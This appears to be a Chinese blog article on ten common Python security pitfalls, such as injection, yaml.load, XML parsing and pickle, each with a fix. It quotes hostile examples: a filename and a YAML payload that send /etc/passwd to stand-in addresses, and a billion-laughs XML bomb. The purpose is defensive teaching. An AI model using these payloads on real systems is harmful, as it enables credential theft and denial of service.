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Python常見的安全問題有哪些？如何避免？

猿友 2021-07-20 15:40:22 瀏覽數(shù) (2332)
反饋

一、輸入注入

注入攻擊非常廣泛而且很常見，注入有很多種類，它們影響所有的語言、框架和環(huán)境。

SQL 注入是直接編寫 SQL 查詢（而非使用 ORM） 時(shí)將字符串字面量與變量混合?？梢酝ㄟ^https://www.jb51.net/article/187001.htm
這個(gè)鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。

命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個(gè)進(jìn)程并從變量中獲取參數(shù)時(shí)發(fā)生，當(dāng)調(diào)用本地命令時(shí)，有人可能會將某些值設(shè)置為惡意值。

下面是個(gè)簡單的腳本，使用用戶提供的文件名調(diào)用子進(jìn)程：

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻擊者會將 filename 的值設(shè)置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險(xiǎn)的東西。

修復(fù)：

如果你使用了 Web 框架，可以用附帶的實(shí)用程序?qū)斎脒M(jìn)行清理，除非有充分的理由，否則不要手動構(gòu)建 SQL 查詢，大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對于 shell，可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

二、assert 語句（Assert statements）

不要使用 assert 語句來防止用戶訪問不應(yīng)訪問的代碼段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在，默認(rèn)情況下，Python 以 __debug__ 為 true 來執(zhí)行腳本，但在生產(chǎn)環(huán)境中，通常使用優(yōu)化運(yùn)行，這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼，而不管用戶是否是 is_admin。

修復(fù)：

僅在與其他開發(fā)人員進(jìn)行通信時(shí)使用 assert 語句，例如在單元測試中或?yàn)榱朔乐共徽_的 API 使用。

三、計(jì)時(shí)攻擊（Timing attacks）

計(jì)時(shí)攻擊本質(zhì)上是一種通過計(jì)時(shí)比較提供值所需時(shí)間來暴露行為和算法的方式。計(jì)時(shí)攻擊需要精確性，所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲，因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計(jì)時(shí)攻擊。

但是，如果你有提示輸入密碼的命令行應(yīng)用程序，則攻擊者可以編寫一個(gè)簡單的腳本來計(jì)算將其值與實(shí)際密碼進(jìn)行比較所需的時(shí)間。

修復(fù)：

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

四、臨時(shí)文件（Temporary files）

要在 Python 中創(chuàng)建臨時(shí)文件，通常使用 mktemp() 函數(shù)生成一個(gè)文件名，然后使用該名稱創(chuàng)建一個(gè)文件。 這是不安全的，因?yàn)榱硪粋€(gè)進(jìn)程可能會在調(diào)用 mktemp() 和隨后嘗試通過第一個(gè)進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個(gè)同名文件。這意味著應(yīng)用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時(shí)數(shù)據(jù)。

如果調(diào)用不正確的方法，則最新版本的 Python 會拋出運(yùn)行警告。

修復(fù)：

如果需要生成臨時(shí)文件，請使用 tempfile 模塊并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文檔：

警告：使用從不可信源接收到的數(shù)據(jù)來調(diào)用 yaml.load 是不安全的！ yaml.load 和pickle.load 一樣強(qiáng)大，所以可以調(diào)用任何 Python 函數(shù)。

在流行的 Python 項(xiàng)目 Ansible 中這個(gè)例子，你可以將此值作為（有效）YAML 提供給 Ansible Vault，它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以，從用戶提供的值中有效地加載 YAML 文件會讓應(yīng)用對攻擊打開大門。

修復(fù)：

總是不優(yōu)先使用 yaml.safe_load，除非你有一個(gè)非常好的理由。

六、解析 XML（Parsing XML）

如果你的應(yīng)用程序要加載、解析 XML 文件，則你可能正在使用 XML 標(biāo)準(zhǔn)庫模塊。通過 XML 的攻擊大多是 DoS 風(fēng)格（旨在使系統(tǒng)崩潰而不是泄露數(shù)據(jù)），這些攻擊十分常見，特別是在解析外部（即不可信任的）XML 文件時(shí)。

其中有個(gè)「billion laughs」，因?yàn)樗?payload 通常包含很多（十億）「lols」?；旧?，這個(gè)原理是可以在 XML 中使用參照實(shí)體，所以當(dāng)解析器將這個(gè) XML 文件加載到內(nèi)存中時(shí)，它會消耗數(shù) G 大小的內(nèi)存（RAM）。

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻擊使用外部實(shí)體擴(kuò)展。XML 支持從外部 URL 引用實(shí)體，XML解析器通常會毫無疑問地獲取并加載該資源。攻擊者可以規(guī)避防火墻并訪問受限制的資源，因?yàn)樗姓埱蠖际怯蓛?nèi)部可信的 IP 地址創(chuàng)建的，而不是來自外部。

需要考慮的另一種情況是依賴的第三方軟件包需要解碼 XML ，例如配置文件、遠(yuǎn)程 API。你甚至可能不知道某個(gè)依賴關(guān)系會將這些類型的攻擊置之不理。

修復(fù)：

使用 defusedxml 替換標(biāo)準(zhǔn)庫模塊，它增加了針對這些類型攻擊的安全防護(hù)。

七、受污染的 site-packages 或 import 路徑

Python 的 import 系統(tǒng)非常靈活，當(dāng)你想要為測試寫補(bǔ)丁或重載核心功能時(shí)，這是非常棒的。

但這卻是 Python 中最大的安全漏洞之一。

安裝第三方軟件包，無論是在虛擬環(huán)境中還是全局（通常不鼓勵）都會讓你看到這些軟件包中的安全漏洞。有一些發(fā)布到 PyPi 的軟件包與流行的軟件包具有相似的名稱，但是卻執(zhí)行了任意代碼。

需要考慮的另一種情況是依賴的依賴，他們可能包含漏洞，他們也可以通過導(dǎo)入系統(tǒng)覆蓋Python 中的默認(rèn)行為。

修復(fù)：

看看 http://PyUp.io 及其安全服務(wù)，為所有應(yīng)用程序使用虛擬環(huán)境，并確保全局的 site-packages 盡可能干凈，檢查包簽名。

八、序列化 Pickles

反序列化 pickle 數(shù)據(jù)和 YAML 一樣糟糕。Python 類可以聲明一個(gè) __reduce__ 方法，該方法返回一個(gè)字符串，或一個(gè)可調(diào)用的元組以及使用 pickle 序列化時(shí)調(diào)用的參數(shù)。攻擊者可以使用它來包含對其中一個(gè)子進(jìn)程模塊的引用，以在主機(jī)上運(yùn)行任意命令。

修復(fù)：

切勿使用 pickle 反序列化不受信任或未經(jīng)身份驗(yàn)證來源的數(shù)據(jù)。改用另一種序列化模式（如JSON）。

九、使用系統(tǒng) Python 運(yùn)行時(shí)并且不修復(fù)它

大多數(shù) POSIX 系統(tǒng)都自帶有一個(gè) Python 2 版本（通常是舊版本）。

有時(shí)候 Python（即 CPython 是用 C 語言編寫的） 解釋器本身存在漏洞， C 中的常見安全問題與內(nèi)存分配有關(guān)，所以大多是緩沖區(qū)溢出錯誤，CPython 多年來一直存在一些溢出漏洞，每個(gè)漏洞都在后續(xù)版本中進(jìn)行了修復(fù)。也就是說，如果及時(shí)升級 python 運(yùn)行時(shí)，就很安全。

修復(fù)：

為生產(chǎn)應(yīng)用程序安裝最新版本的 Python，并及時(shí)安裝修復(fù)更新！

十、不修復(fù)依賴關(guān)系

類似于不修補(bǔ) python 運(yùn)行時(shí)，還需要定期修補(bǔ)依賴關(guān)系。

修復(fù)：

使用像 PyUp.io 這樣的服務(wù)來檢查更新，向應(yīng)用程序提出 pr，并運(yùn)行測試以保持軟件包是最新的。

小結(jié)

到此這篇Python常見安全問題的總結(jié)就介紹到這了,更多Python學(xué)習(xí)內(nèi)容和代碼優(yōu)化的優(yōu)質(zhì)好文請搜索W3Cschool以前的文章或繼續(xù)瀏覽下面的相關(guān)文章。


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